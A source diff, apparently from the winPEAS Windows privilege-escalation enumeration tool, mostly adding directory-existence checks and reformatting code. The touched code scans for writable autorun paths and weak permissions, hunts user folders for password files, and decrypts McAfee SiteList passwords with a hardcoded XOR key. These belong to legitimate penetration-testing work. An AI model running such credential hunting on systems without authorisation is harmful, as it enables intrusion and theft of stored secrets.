namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
@@ -354,14 +354,17 @@ namespace winPEAS.Helpers
|
|||||||
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
|
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
|
||||||
if (string.IsNullOrEmpty(results[path]))
|
if (string.IsNullOrEmpty(results[path]))
|
||||||
{
|
{
|
||||||
foreach (string d in Directory.EnumerateDirectories(path))
|
if (Directory.Exists(path))
|
||||||
{
|
{
|
||||||
foreach (string f in Directory.EnumerateFiles(d))
|
foreach (string d in Directory.EnumerateDirectories(path))
|
||||||
{
|
{
|
||||||
results[f] = String.Join(", ", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs));
|
foreach (string f in Directory.EnumerateFiles(d))
|
||||||
|
{
|
||||||
|
results[f] = String.Join(", ", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs));
|
||||||
|
}
|
||||||
|
cont += 1;
|
||||||
|
results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
|
||||||
}
|
}
|
||||||
cont += 1;
|
|
||||||
results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,85 +4,85 @@ using System.Threading;
|
|||||||
|
|
||||||
namespace winPEAS.Helpers
|
namespace winPEAS.Helpers
|
||||||
{
|
{
|
||||||
internal class ProgressBar : IDisposable, IProgress<double>
|
internal class ProgressBar : IDisposable, IProgress<double>
|
||||||
{
|
{
|
||||||
private const int blockCount = 10;
|
private const int blockCount = 10;
|
||||||
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
|
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
|
||||||
private const string animation = @"|/-\";
|
private const string animation = @"|/-\";
|
||||||
|
|
||||||
private readonly Timer timer;
|
private readonly Timer timer;
|
||||||
|
|
||||||
private double currentProgress = 0;
|
private double currentProgress = 0;
|
||||||
private string currentText = string.Empty;
|
private string currentText = string.Empty;
|
||||||
private bool disposed = false;
|
private bool disposed = false;
|
||||||
private int animationIndex = 0;
|
private int animationIndex = 0;
|
||||||
|
|
||||||
public ProgressBar()
|
public ProgressBar()
|
||||||
{
|
{
|
||||||
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
|
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void Report(double value)
|
public void Report(double value)
|
||||||
{
|
{
|
||||||
// Make sure value is in [0..1] range
|
// Make sure value is in [0..1] range
|
||||||
value = Math.Max(0, Math.Min(1, value));
|
value = Math.Max(0, Math.Min(1, value));
|
||||||
Interlocked.Exchange(ref currentProgress, value);
|
Interlocked.Exchange(ref currentProgress, value);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void TimerHandler(object state)
|
private void TimerHandler(object state)
|
||||||
{
|
{
|
||||||
lock (timer)
|
lock (timer)
|
||||||
{
|
{
|
||||||
if (disposed) return;
|
if (disposed) return;
|
||||||
|
|
||||||
int progressBlockCount = (int)(currentProgress * blockCount);
|
int progressBlockCount = (int)(currentProgress * blockCount);
|
||||||
int percent = (int)(currentProgress * 100);
|
int percent = (int)(currentProgress * 100);
|
||||||
string text = string.Format("[{0}{1}] {2,3}% {3}",
|
string text = string.Format("[{0}{1}] {2,3}% {3}",
|
||||||
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
|
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
|
||||||
percent,
|
percent,
|
||||||
animation[animationIndex++ % animation.Length]);
|
animation[animationIndex++ % animation.Length]);
|
||||||
UpdateText(text);
|
UpdateText(text);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void UpdateText(string text)
|
private void UpdateText(string text)
|
||||||
{
|
{
|
||||||
// Get length of common portion
|
// Get length of common portion
|
||||||
int commonPrefixLength = 0;
|
int commonPrefixLength = 0;
|
||||||
int commonLength = Math.Min(currentText.Length, text.Length);
|
int commonLength = Math.Min(currentText.Length, text.Length);
|
||||||
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
|
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
|
||||||
{
|
{
|
||||||
commonPrefixLength++;
|
commonPrefixLength++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Backtrack to the first differing character
|
// Backtrack to the first differing character
|
||||||
StringBuilder outputBuilder = new StringBuilder();
|
StringBuilder outputBuilder = new StringBuilder();
|
||||||
outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
|
outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
|
||||||
|
|
||||||
// Output new suffix
|
// Output new suffix
|
||||||
outputBuilder.Append(text.Substring(commonPrefixLength));
|
outputBuilder.Append(text.Substring(commonPrefixLength));
|
||||||
|
|
||||||
// If the new text is shorter than the old one: delete overlapping characters
|
// If the new text is shorter than the old one: delete overlapping characters
|
||||||
int overlapCount = currentText.Length - text.Length;
|
int overlapCount = currentText.Length - text.Length;
|
||||||
if (overlapCount > 0)
|
if (overlapCount > 0)
|
||||||
{
|
{
|
||||||
outputBuilder.Append(' ', overlapCount);
|
outputBuilder.Append(' ', overlapCount);
|
||||||
outputBuilder.Append('\b', overlapCount);
|
outputBuilder.Append('\b', overlapCount);
|
||||||
}
|
}
|
||||||
|
|
||||||
Console.Write(outputBuilder);
|
Console.Write(outputBuilder);
|
||||||
currentText = text;
|
currentText = text;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
lock (timer)
|
lock (timer)
|
||||||
{
|
{
|
||||||
disposed = true;
|
disposed = true;
|
||||||
UpdateText(string.Empty);
|
UpdateText(string.Empty);
|
||||||
timer.Dispose();
|
timer.Dispose();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using Microsoft.Win32;
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers.Registry
|
namespace winPEAS.Helpers.Registry
|
||||||
{
|
{
|
||||||
@@ -177,7 +177,7 @@ namespace winPEAS.Helpers.Registry
|
|||||||
|
|
||||||
internal static uint? GetDwordValue(string hive, string key, string val)
|
internal static uint? GetDwordValue(string hive, string key, string val)
|
||||||
{
|
{
|
||||||
string strValue = RegistryHelper.GetRegValue(hive, key, val);
|
string strValue = GetRegValue(hive, key, val);
|
||||||
|
|
||||||
if (uint.TryParse(strValue, out uint res))
|
if (uint.TryParse(strValue, out uint res))
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -92,7 +92,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
Beaprint.LongPathWarning(f.FullName);
|
Beaprint.LongPathWarning(f.FullName);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
) ;
|
);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -221,43 +221,43 @@ namespace winPEAS.Helpers.Search
|
|||||||
{
|
{
|
||||||
// c:\users
|
// c:\users
|
||||||
string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
|
string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
|
||||||
SearchHelper.RootDirUsers = SearchHelper.GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\users\current_user
|
// c:\users\current_user
|
||||||
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||||
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Program Files\
|
// c:\Program Files\
|
||||||
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
|
||||||
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Program Files (x86)\
|
// c:\Program Files (x86)\
|
||||||
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
|
||||||
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Documents and Settings\
|
// c:\Documents and Settings\
|
||||||
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
|
||||||
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\ProgramData\Microsoft\Group Policy\History
|
// c:\ProgramData\Microsoft\Group Policy\History
|
||||||
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
|
||||||
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
|
||||||
|
|
||||||
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
|
||||||
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
|
||||||
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
|
||||||
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
|
||||||
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
|
||||||
}
|
}
|
||||||
|
|
||||||
internal static void CleanLists()
|
internal static void CleanLists()
|
||||||
{
|
{
|
||||||
SearchHelper.RootDirUsers = null;
|
RootDirUsers = null;
|
||||||
SearchHelper.RootDirCurrentUser = null;
|
RootDirCurrentUser = null;
|
||||||
SearchHelper.ProgramFiles = null;
|
ProgramFiles = null;
|
||||||
SearchHelper.ProgramFilesX86 = null;
|
ProgramFilesX86 = null;
|
||||||
SearchHelper.DocumentsAndSettings = null;
|
DocumentsAndSettings = null;
|
||||||
SearchHelper.GroupPolicyHistory = null;
|
GroupPolicyHistory = null;
|
||||||
|
|
||||||
GC.Collect();
|
GC.Collect();
|
||||||
}
|
}
|
||||||
@@ -270,7 +270,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
".*password.*"
|
".*password.*"
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var file in SearchHelper.RootDirUsers)
|
foreach (var file in RootDirUsers)
|
||||||
{
|
{
|
||||||
//string extLower = file.Extension.ToLower();
|
//string extLower = file.Extension.ToLower();
|
||||||
|
|
||||||
@@ -297,7 +297,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
{
|
{
|
||||||
var result = new List<string>();
|
var result = new List<string>();
|
||||||
|
|
||||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
foreach (var file in RootDirCurrentUser)
|
||||||
{
|
{
|
||||||
if (!file.IsDirectory)
|
if (!file.IsDirectory)
|
||||||
{
|
{
|
||||||
@@ -337,7 +337,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
".xml"
|
".xml"
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var file in SearchHelper.GroupPolicyHistory)
|
foreach (var file in GroupPolicyHistory)
|
||||||
{
|
{
|
||||||
if (!file.IsDirectory)
|
if (!file.IsDirectory)
|
||||||
{
|
{
|
||||||
@@ -361,14 +361,14 @@ namespace winPEAS.Helpers.Search
|
|||||||
};
|
};
|
||||||
|
|
||||||
string programDataPath = $"{SystemDrive}\\ProgramData\\";
|
string programDataPath = $"{SystemDrive}\\ProgramData\\";
|
||||||
var programData = SearchHelper.GetFilesFast(programDataPath, GlobalPattern);
|
var programData = GetFilesFast(programDataPath, GlobalPattern);
|
||||||
|
|
||||||
var searchFiles = new List<CustomFileInfo>();
|
var searchFiles = new List<CustomFileInfo>();
|
||||||
searchFiles.AddRange(SearchHelper.ProgramFiles);
|
searchFiles.AddRange(ProgramFiles);
|
||||||
searchFiles.AddRange(SearchHelper.ProgramFilesX86);
|
searchFiles.AddRange(ProgramFilesX86);
|
||||||
searchFiles.AddRange(programData);
|
searchFiles.AddRange(programData);
|
||||||
searchFiles.AddRange(SearchHelper.DocumentsAndSettings);
|
searchFiles.AddRange(DocumentsAndSettings);
|
||||||
searchFiles.AddRange(SearchHelper.RootDirUsers);
|
searchFiles.AddRange(RootDirUsers);
|
||||||
|
|
||||||
foreach (var file in searchFiles)
|
foreach (var file in searchFiles)
|
||||||
{
|
{
|
||||||
@@ -403,7 +403,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
".pdf",
|
".pdf",
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var file in SearchHelper.RootDirCurrentUser)
|
foreach (var file in RootDirCurrentUser)
|
||||||
{
|
{
|
||||||
if (!file.IsDirectory)
|
if (!file.IsDirectory)
|
||||||
{
|
{
|
||||||
@@ -451,7 +451,7 @@ namespace winPEAS.Helpers.Search
|
|||||||
".pdf",
|
".pdf",
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var file in SearchHelper.RootDirUsers)
|
foreach (var file in RootDirUsers)
|
||||||
{
|
{
|
||||||
if (!file.IsDirectory)
|
if (!file.IsDirectory)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -8,7 +8,8 @@ namespace winPEAS.Helpers.YamlConfig
|
|||||||
{
|
{
|
||||||
public string name { get; set; }
|
public string name { get; set; }
|
||||||
public RegularExpression[] regexes { get; set; }
|
public RegularExpression[] regexes { get; set; }
|
||||||
public class RegularExpression {
|
public class RegularExpression
|
||||||
|
{
|
||||||
public string name { get; set; }
|
public string name { get; set; }
|
||||||
public string regex { get; set; }
|
public string regex { get; set; }
|
||||||
|
|
||||||
@@ -25,65 +26,65 @@ namespace winPEAS.Helpers.YamlConfig
|
|||||||
|
|
||||||
public class FileParam
|
public class FileParam
|
||||||
{
|
{
|
||||||
public string name { get; set; }
|
public string name { get; set; }
|
||||||
public FileSettings value { get; set; }
|
public FileSettings value { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class SearchParameters
|
public class SearchParameters
|
||||||
{
|
{
|
||||||
public class FileSettings
|
public class FileSettings
|
||||||
{
|
{
|
||||||
public string bad_regex { get; set; }
|
public string bad_regex { get; set; }
|
||||||
// public string check_extra_path { get; set; } // not used in Winpeas
|
// public string check_extra_path { get; set; } // not used in Winpeas
|
||||||
public string good_regex { get; set; }
|
public string good_regex { get; set; }
|
||||||
public bool? just_list_file { get; set; }
|
public bool? just_list_file { get; set; }
|
||||||
public string line_grep { get; set; }
|
public string line_grep { get; set; }
|
||||||
public bool? only_bad_lines { get; set; }
|
public bool? only_bad_lines { get; set; }
|
||||||
public bool? remove_empty_lines { get; set; }
|
public bool? remove_empty_lines { get; set; }
|
||||||
// public string remove_path { get; set; } // not used in Winpeas
|
// public string remove_path { get; set; } // not used in Winpeas
|
||||||
public string remove_regex { get; set; }
|
public string remove_regex { get; set; }
|
||||||
public string remove_path { get; set; }
|
public string remove_path { get; set; }
|
||||||
// public string[] search_in { get; set; } // not used in Winpeas
|
// public string[] search_in { get; set; } // not used in Winpeas
|
||||||
public string type { get; set; }
|
public string type { get; set; }
|
||||||
public FileParam[] files { get; set; }
|
public FileParam[] files { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class FileParameters
|
public class FileParameters
|
||||||
{
|
{
|
||||||
public string file { get; set; }
|
public string file { get; set; }
|
||||||
public FileSettings options { get; set; }
|
public FileSettings options { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class Config
|
public class Config
|
||||||
{
|
{
|
||||||
public bool auto_check { get; set; }
|
public bool auto_check { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public Config config { get; set; }
|
public Config config { get; set; }
|
||||||
public string[] disable { get; set; } // disabled scripts - linpeas/winpeas
|
public string[] disable { get; set; } // disabled scripts - linpeas/winpeas
|
||||||
public FileParam[] files { get; set; }
|
public FileParam[] files { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class SearchParams
|
public class SearchParams
|
||||||
{
|
{
|
||||||
public string name { get; set; }
|
public string name { get; set; }
|
||||||
public SearchParameters value { get; set; }
|
public SearchParameters value { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class Defaults
|
public class Defaults
|
||||||
{
|
{
|
||||||
public bool auto_check { get; set; }
|
public bool auto_check { get; set; }
|
||||||
public string bad_regex { get; set; }
|
public string bad_regex { get; set; }
|
||||||
//public string check_extra_path { get; set; } not used in winpeas
|
//public string check_extra_path { get; set; } not used in winpeas
|
||||||
public string good_regex { get; set; }
|
public string good_regex { get; set; }
|
||||||
public bool just_list_file { get; set; }
|
public bool just_list_file { get; set; }
|
||||||
public string line_grep { get; set; }
|
public string line_grep { get; set; }
|
||||||
public bool only_bad_lines { get; set; }
|
public bool only_bad_lines { get; set; }
|
||||||
public bool remove_empty_lines { get; set; }
|
public bool remove_empty_lines { get; set; }
|
||||||
public string remove_path { get; set; }
|
public string remove_path { get; set; }
|
||||||
public string remove_regex { get; set; }
|
public string remove_regex { get; set; }
|
||||||
public string[] search_in { get; set; }
|
public string[] search_in { get; set; }
|
||||||
public string type { get; set; }
|
public string type { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public class Variable
|
public class Variable
|
||||||
@@ -92,9 +93,9 @@ namespace winPEAS.Helpers.YamlConfig
|
|||||||
public string value { get; set; }
|
public string value { get; set; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public SearchParams[] search { get; set; }
|
public SearchParams[] search { get; set; }
|
||||||
|
|
||||||
public Defaults defaults { get; set; }
|
public Defaults defaults { get; set; }
|
||||||
|
|
||||||
public Variable[] variables { get; set; }
|
public Variable[] variables { get; set; }
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +1,9 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Yaml.Serialization;
|
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Reflection;
|
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Yaml.Serialization;
|
||||||
using static winPEAS.Helpers.YamlConfig.YamlConfig;
|
using static winPEAS.Helpers.YamlConfig.YamlConfig;
|
||||||
using static winPEAS.Helpers.YamlConfig.YamlRegexConfig;
|
|
||||||
|
|
||||||
|
|
||||||
namespace winPEAS.Helpers.YamlConfig
|
namespace winPEAS.Helpers.YamlConfig
|
||||||
@@ -30,7 +29,7 @@ namespace winPEAS.Helpers.YamlConfig
|
|||||||
YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0];
|
YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0];
|
||||||
|
|
||||||
// check
|
// check
|
||||||
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
|
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
|
||||||
{
|
{
|
||||||
throw new System.Exception("No configuration was read");
|
throw new System.Exception("No configuration was read");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Management;
|
using System.Management;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
@@ -204,7 +204,7 @@ namespace winPEAS.Info.ApplicationInfo
|
|||||||
{
|
{
|
||||||
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
|
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
|
||||||
}
|
}
|
||||||
: new List<string> {autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name});
|
: new List<string> { autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name });
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -344,15 +344,18 @@ namespace winPEAS.Info.ApplicationInfo
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var userDirs = Directory.EnumerateDirectories(usersPath);
|
if (Directory.Exists(usersPath))
|
||||||
|
|
||||||
foreach (var userDir in userDirs)
|
|
||||||
{
|
{
|
||||||
string startupPath = $@"{userDir}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";
|
var userDirs = Directory.EnumerateDirectories(usersPath);
|
||||||
|
|
||||||
if (Directory.Exists(startupPath))
|
foreach (var userDir in userDirs)
|
||||||
{
|
{
|
||||||
autorunLocations.Add(startupPath);
|
string startupPath = $@"{userDir}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";
|
||||||
|
|
||||||
|
if (Directory.Exists(startupPath))
|
||||||
|
{
|
||||||
|
autorunLocations.Add(startupPath);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -364,22 +367,25 @@ namespace winPEAS.Info.ApplicationInfo
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
if (Directory.Exists(path))
|
||||||
|
|
||||||
foreach (string filepath in files)
|
|
||||||
{
|
{
|
||||||
string folder = Path.GetDirectoryName(filepath);
|
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||||
results.Add(new Dictionary<string, string>() {
|
|
||||||
{ "Reg", "" },
|
foreach (string filepath in files)
|
||||||
{ "RegKey", "" },
|
{
|
||||||
{ "RegPermissions", "" },
|
string folder = Path.GetDirectoryName(filepath);
|
||||||
{ "Folder", folder },
|
results.Add(new Dictionary<string, string>() {
|
||||||
{ "File", filepath },
|
{ "Reg", "" },
|
||||||
{ "isWritableReg", ""},
|
{ "RegKey", "" },
|
||||||
{ "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},
|
{ "RegPermissions", "" },
|
||||||
{ "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))},
|
{ "Folder", folder },
|
||||||
{ "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() }
|
{ "File", filepath },
|
||||||
});
|
{ "isWritableReg", ""},
|
||||||
|
{ "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},
|
||||||
|
{ "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))},
|
||||||
|
{ "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() }
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception)
|
catch (Exception)
|
||||||
|
|||||||
@@ -71,16 +71,19 @@ namespace winPEAS.Info.ApplicationInfo
|
|||||||
var results = new SortedDictionary<string, Dictionary<string, string>>();
|
var results = new SortedDictionary<string, Dictionary<string, string>>();
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
foreach (string f in Directory.EnumerateFiles(fpath))
|
if (Directory.Exists(fpath))
|
||||||
{
|
{
|
||||||
results[f] = new Dictionary<string, string>
|
foreach (string f in Directory.EnumerateFiles(fpath))
|
||||||
|
{
|
||||||
|
results[f] = new Dictionary<string, string>
|
||||||
{
|
{
|
||||||
{ f, string.Join(", ", PermissionsHelper.GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)) }
|
{ f, string.Join(", ", PermissionsHelper.GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)) }
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
foreach (string d in Directory.EnumerateDirectories(fpath))
|
foreach (string d in Directory.EnumerateDirectories(fpath))
|
||||||
{
|
{
|
||||||
results[d] = PermissionsHelper.GetRecursivePrivs(d);
|
results[d] = PermissionsHelper.GetRecursivePrivs(d);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Info.EventsInfo.PowerShell;
|
|
||||||
|
|
||||||
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -34,19 +34,19 @@ namespace winPEAS.Info.FilesInfo.Certificates
|
|||||||
switch (ext.Oid.FriendlyName)
|
switch (ext.Oid.FriendlyName)
|
||||||
{
|
{
|
||||||
case "Enhanced Key Usage":
|
case "Enhanced Key Usage":
|
||||||
{
|
|
||||||
var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
|
|
||||||
|
|
||||||
if (extUsages.Count == 0)
|
|
||||||
continue;
|
|
||||||
|
|
||||||
foreach (var extUsage in extUsages)
|
|
||||||
{
|
{
|
||||||
enhancedKeyUsages.Add(extUsage.FriendlyName);
|
var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
|
||||||
}
|
|
||||||
|
|
||||||
break;
|
if (extUsages.Count == 0)
|
||||||
}
|
continue;
|
||||||
|
|
||||||
|
foreach (var extUsage in extUsages)
|
||||||
|
{
|
||||||
|
enhancedKeyUsages.Add(extUsage.FriendlyName);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
case "Certificate Template Name":
|
case "Certificate Template Name":
|
||||||
case "Certificate Template Information":
|
case "Certificate Template Information":
|
||||||
template = ext.Format(false);
|
template = ext.Format(false);
|
||||||
|
|||||||
@@ -127,7 +127,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
|
|||||||
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
|
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
|
||||||
|
|
||||||
// xor the input b64 string with the static XOR key
|
// xor the input b64 string with the static XOR key
|
||||||
var passwordBytes = System.Convert.FromBase64String(base64password);
|
var passwordBytes = Convert.FromBase64String(base64password);
|
||||||
for (var i = 0; i < passwordBytes.Length; i++)
|
for (var i = 0; i < passwordBytes.Length; i++)
|
||||||
{
|
{
|
||||||
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
|
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
